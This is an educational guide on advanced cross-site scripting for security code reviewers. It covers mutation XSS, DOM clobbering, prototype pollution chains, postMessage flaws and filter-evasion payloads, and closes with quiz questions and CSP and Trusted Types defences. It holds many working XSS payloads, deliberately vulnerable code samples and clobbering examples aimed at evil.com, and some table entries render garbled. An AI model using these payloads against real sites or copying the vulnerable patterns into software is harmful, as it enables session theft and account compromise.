Advanced XSS Patterns Code Review Guide
Table of Contents
Introduction
This guide builds upon foundational XSS knowledge to explore advanced attack patterns that can bypass modern sanitization libraries, Content Security Policies, and framework protections. These techniques are commonly used by security researchers and attackers to find XSS in applications thought to be secure.
Understanding these advanced patterns is essential for security code reviewers because they represent the cutting edge of XSS research. Many of these techniques exploit subtle browser behaviors, parser inconsistencies, or logical flaws that standard security tooling might miss.
Prerequisite Knowledge
This guide assumes familiarity with basic XSS concepts including sources, sinks, and the three main XSS types (Reflected, Stored, DOM-based). If you haven't already, complete the XSS Code Review Guide first.
Which scenario would most likely require advanced XSS techniques to exploit?
Mutation XSS (mXSS)
Mutation XSS (mXSS) occurs when the browser's HTML parser "mutates" seemingly safe HTML into a dangerous payload. This happens because sanitizers parse HTML differently than browsers, creating a gap that attackers can exploit.
Mutation XSS (mXSS) Attack Flow
<img src=x<DOMPurify / FilterHTML re-parsed<img src=x onerror=alert(1)>Browser "fixes" malformed HTML into executable payloadThe key insight is that HTML parsing is context-dependent. When HTML is parsed, serialized (innerHTML), and re-parsed, the browser may interpret it differently each time. Attackers craft payloads that are benign during sanitization but become malicious after browser mutation.
Classic mXSS Patterns
1<!-- Backtick breaking attribute context -->
2<img src="x`<script>alert(1)</script>">
3
4<!-- Namespace confusion -->
5<svg><![CDATA[><script>alert(1)</script>]]></svg>
6
7<!-- Style tag mutation -->
8<style><img src=x onerror=alert(1)//</style>
9
10<!-- Math/SVG context switching -->
11<math><mtext><table><mglyph><style><img src=x onerror=alert(1)>
12
13<!-- Noscript mutation -->
14<noscript><img src=x onerror=alert(1)></noscript>Why mXSS Bypasses Sanitizers
Sanitizers like DOMPurify parse HTML to check for dangerous elements. But when the sanitized HTML is inserted into the DOM, the browser re-parses it. If the sanitizer and browser interpret the HTML differently, a payload can slip through.
What makes mutation XSS particularly dangerous?
DOM Clobbering
DOM Clobbering exploits the browser behavior where HTML elements with id or name attributes become accessible as properties on the window object and document. Attackers can inject HTML that overwrites expected JavaScript variables or object properties.
DOM Clobbering Attack Pattern
Attacker Injection
<form id="config"><input name="url" value="evil.com"></form>Vulnerable Code
// Expected: config from JS objectconst url = window.config?.url// Actual: DOM element reference!fetch(url) // → evil.comDOM Clobbering Examples
1<!-- Clobbering a global variable -->
2<img id="config">
3<!-- Now window.config refers to the img element -->
4
5<!-- Clobbering nested properties with form/input -->
6<form id="config">
7 <input name="apiUrl" value="https://evil.com">
8</form>
9<!-- window.config.apiUrl.value = "https://evil.com" -->
10
11<!-- Clobbering with anchor tags for toString -->
12<a id="defaultUrl" href="javascript:alert(1)">
13<!-- String(window.defaultUrl) = "javascript:alert(1)" -->
14
15<!-- Multiple elements with same id create HTMLCollection -->
16<a id="urls" href="https://evil1.com">
17<a id="urls" href="https://evil2.com">
18<!-- window.urls[0], window.urls[1] -->DOM Clobbering becomes XSS when the clobbered value reaches a dangerous sink. Common patterns include clobbering configuration objects, URL variables, or callback function references.
Vulnerable Code Pattern
1// Vulnerable: relies on global or loosely defined variables
2const config = window.config || { apiUrl: '/api' };
3fetch(config.apiUrl); // Attacker clobbers config!
4
5// Vulnerable: checking existence but not type
6if (window.ANALYTICS_URL) {
7 loadScript(window.ANALYTICS_URL); // Clobbered!
8}
9
10// Vulnerable: dynamic script loading
11const src = window.cdnBase + '/script.js';
12// If cdnBase is clobbered with <a id="cdnBase" href="//evil.com">
13// String coercion gives "//evil.com" + "/script.js"Which defense prevents DOM clobbering attacks?
Prototype Pollution to XSS
Prototype Pollution is a JavaScript vulnerability where an attacker can inject properties into Object.prototype, affecting all objects in the application. When combined with specific code patterns, prototype pollution can escalate to XSS.
Prototype Pollution Basics
1// Vulnerable merge function
2function merge(target, source) {
3 for (let key in source) {
4 if (typeof source[key] === 'object') {
5 target[key] = merge(target[key] || {}, source[key]);
6 } else {
7 target[key] = source[key];
8 }
9 }
10 return target;
11}
12
13// Attacker-controlled input
14const malicious = JSON.parse('{"__proto__":{"isAdmin":true}}');
15merge({}, malicious);
16
17// Now ALL objects have isAdmin = true
18console.log({}.isAdmin); // truePrototype pollution becomes XSS when polluted properties reach dangerous sinks. Many libraries and frameworks check for properties that, if polluted, can lead to code execution.
Prototype Pollution → XSS Chains
1// Example 1: jQuery's .attr() gadget
2// Pollute: Object.prototype.srcdoc = '<script>alert(1)</script>'
3$('<iframe>').attr({}); // srcdoc is read from prototype!
4
5// Example 2: innerHTML with object spread
6Object.prototype.innerHTML = '<img src=x onerror=alert(1)>';
7element.innerHTML = {...userConfig}.innerHTML; // XSS!
8
9// Example 3: Template literal gadget
10Object.prototype.template = '<img src=x onerror=alert(1)>';
11const html = config.template || '<div>default</div>';
12element.innerHTML = html;
13
14// Example 4: Event handler pollution
15Object.prototype.onclick = 'alert(1)';
16// Any element checking for onclick property...Common Prototype Pollution Sources
| Source | Vulnerable Pattern | Example |
|---|---|---|
| URL Parameters | Deep object merge from query | ?__proto__[x]=y |
| JSON.parse | Merging parsed JSON | {"__proto__":{"a":1}} |
| Object.assign | Copying from user input | Object.assign({}, userInput) |
| Lodash _.merge | Deep merge without sanitization | merge(config, userData) |
| jQuery $.extend | Deep extend with user data | $.extend(true, {}, userData) |
Why is __proto__ special in prototype pollution attacks?
PostMessage Vulnerabilities
The postMessage API enables cross-origin communication between windows. Improper origin validation or unsafe handling of received messages creates XSS opportunities that bypass same-origin restrictions.
Vulnerable PostMessage Patterns
1// VULNERABLE: No origin check
2window.addEventListener('message', (event) => {
3 document.getElementById('output').innerHTML = event.data;
4});
5
6// VULNERABLE: Weak origin check (substring match)
7window.addEventListener('message', (event) => {
8 if (event.origin.indexOf('trusted.com') > -1) {
9 // Bypassed with: attacker-trusted.com or trusted.com.evil.com
10 eval(event.data.code);
11 }
12});
13
14// VULNERABLE: Origin check but unsafe handling
15window.addEventListener('message', (event) => {
16 if (event.origin === 'https://trusted.com') {
17 // Safe origin, but dangerous sink!
18 document.body.innerHTML = event.data.html;
19 }
20});
21
22// VULNERABLE: Regex bypass
23window.addEventListener('message', (event) => {
24 if (/^https:\/\/.*\.trusted\.com$/.test(event.origin)) {
25 // Bypassed with: https://evil.trusted.com (if subdomain takeover)
26 processData(event.data);
27 }
28});Common PostMessage Mistakes
Even with correct origin validation, the message data itself can be dangerous. Always validate the structure and content of messages, not just where they come from. Use JSON.parse with validation rather than passing raw data to sinks.
Secure PostMessage Implementation
1// SECURE: Strict origin check + safe data handling
2const ALLOWED_ORIGINS = Object.freeze([
3 'https://trusted.com',
4 'https://app.trusted.com'
5]);
6
7window.addEventListener('message', (event) => {
8 // 1. Strict origin validation
9 if (!ALLOWED_ORIGINS.includes(event.origin)) {
10 console.warn('Rejected message from:', event.origin);
11 return;
12 }
13
14 // 2. Validate message structure
15 const { type, payload } = event.data;
16 if (typeof type !== 'string' || !payload) {
17 return;
18 }
19
20 // 3. Handle known message types only
21 switch (type) {
22 case 'UPDATE_THEME':
23 if (['light', 'dark'].includes(payload)) {
24 setTheme(payload); // Safe: validated value
25 }
26 break;
27 case 'UPDATE_NAME':
28 // Safe: textContent not innerHTML
29 document.getElementById('name').textContent = payload;
30 break;
31 default:
32 console.warn('Unknown message type:', type);
33 }
34});Which origin check can be bypassed?
Filter Bypass Techniques
Many applications implement custom XSS filters or WAFs. Understanding bypass techniques helps you evaluate the effectiveness of these defenses during code review.
Encoding & Obfuscation Bypasses
| Technique | Example | Bypass Target |
|---|---|---|
| HTML Entities | <script> → <script> | Basic string filters |
| Unicode Escapes | \u003cscript\u003e | JavaScript string filters |
| Hex Encoding | <script> | HTML attribute filters |
| Double Encoding | %253Cscript%253E | URL filters that decode once |
| Mixed Case | <ScRiPt> | Case-sensitive filters |
| Null Bytes | <scri%00pt> | C-based parsers |
Alternative Execution Contexts
1<!-- Without script tags -->
2<img src=x onerror=alert(1)>
3<svg onload=alert(1)>
4<body onpageshow=alert(1)>
5<marquee onstart=alert(1)>
6<video><source onerror=alert(1)>
7<details open ontoggle=alert(1)>
8
9<!-- Without parentheses -->
10<img src=x onerror=alert`1`>
11<img src=x onerror=alert(1)>
12<img src=x onerror=window['alert'](1)>
13
14<!-- Without alert keyword -->
15<img src=x onerror=[].constructor.constructor('return alert(1)')()>
16<img src=x onerror=self['al'+'ert'](1)>
17<img src=x onerror=top[8680439..toString(30)](1)>
18
19<!-- Without quotes -->
20<img src=x onerror=alert(/XSS/.source)>
21<img src=x onerror=alert(String.fromCharCode(88,83,83))>
22
23<!-- Without spaces -->
24<img/src=x/onerror=alert(1)>
25<svg/onload=alert(1)>JavaScript Context Bypasses
1// Breaking out of string contexts
2var x = 'USER_INPUT'; // Inject: ';alert(1);//
3var x = '';alert(1);//';
4
5// Breaking out of JavaScript comments
6/* USER_INPUT */ // Inject: */alert(1)/*
7/* */alert(1)/* */
8
9// Template literal injection
10`Hello ${USER_INPUT}` // Inject: ${alert(1)}
11`Hello ${alert(1)}`
12
13// JSON context injection
14{"name": "USER_INPUT"} // Inject: ","__proto__":{"x":"<img src=x onerror=alert(1)>
15{"name": "","__proto__":{"x":"<img src=x onerror=alert(1)>"}
16
17// Breaking out of regex
18/USER_INPUT/ // Inject: /;alert(1);//
19/;alert(1);///Filter Bypass Mindset
When reviewing custom filters, ask: What characters are allowed? What contexts can I reach? What browser quirks can I exploit? Filters that blacklist known bad patterns almost always have bypasses.
A filter blocks 'script', 'onerror', and 'alert'. Which payload might bypass it?
Advanced Prevention
Defending against advanced XSS requires layered security controls that address both known and unknown attack vectors.
Defense-in-Depth Strategy
| Layer | Control | Attacks Mitigated |
|---|---|---|
| Content Security Policy | strict-dynamic, nonces, no unsafe-inline | Inline scripts, eval, most XSS |
| Trusted Types | Enforce safe sink usage | DOM XSS, innerHTML abuse |
| Sanitization | DOMPurify with RETURN_TRUSTED_TYPE | Stored/Reflected XSS |
| Isolation | sandbox, Cross-Origin-Opener-Policy | PostMessage, frame attacks |
| Code Patterns | Object.freeze, Map instead of objects | Prototype pollution, DOM clobbering |
Strict Content Security Policy
1Content-Security-Policy:
2 default-src 'none';
3 script-src 'strict-dynamic' 'nonce-{random}';
4 style-src 'self' 'nonce-{random}';
5 img-src 'self' data:;
6 font-src 'self';
7 connect-src 'self' https://api.example.com;
8 frame-ancestors 'none';
9 base-uri 'none';
10 form-action 'self';
11 require-trusted-types-for 'script';Trusted Types Implementation
1// Define a Trusted Types policy
2const sanitizerPolicy = trustedTypes.createPolicy('sanitizer', {
3 createHTML: (input) => DOMPurify.sanitize(input, {
4 RETURN_TRUSTED_TYPE: true
5 }),
6 createScriptURL: (input) => {
7 const url = new URL(input, location.origin);
8 if (url.origin !== location.origin) {
9 throw new Error('Script URL must be same-origin');
10 }
11 return input;
12 }
13});
14
15// Usage - these are now type-safe
16element.innerHTML = sanitizerPolicy.createHTML(userInput);
17scriptElement.src = sanitizerPolicy.createScriptURL(url);
18
19// Direct assignment throws an error!
20// element.innerHTML = userInput; // TypeErrorPreventing Prototype Pollution & DOM Clobbering
1// 1. Use Object.create(null) for dictionaries
2const config = Object.create(null);
3config.apiUrl = '/api';
4// No prototype chain to pollute!
5
6// 2. Use Map for key-value storage
7const userPrefs = new Map();
8userPrefs.set('theme', 'dark');
9// Maps aren't affected by prototype pollution
10
11// 3. Freeze configuration objects
12const CONFIG = Object.freeze({
13 apiUrl: '/api',
14 cdnUrl: 'https://cdn.example.com'
15});
16// Cannot be modified by DOM clobbering
17
18// 4. Validate object types
19function safeGet(obj, key) {
20 if (obj === null || typeof obj !== 'object') return undefined;
21 if (!Object.hasOwn(obj, key)) return undefined;
22 return obj[key];
23}Which CSP directive provides the strongest XSS protection?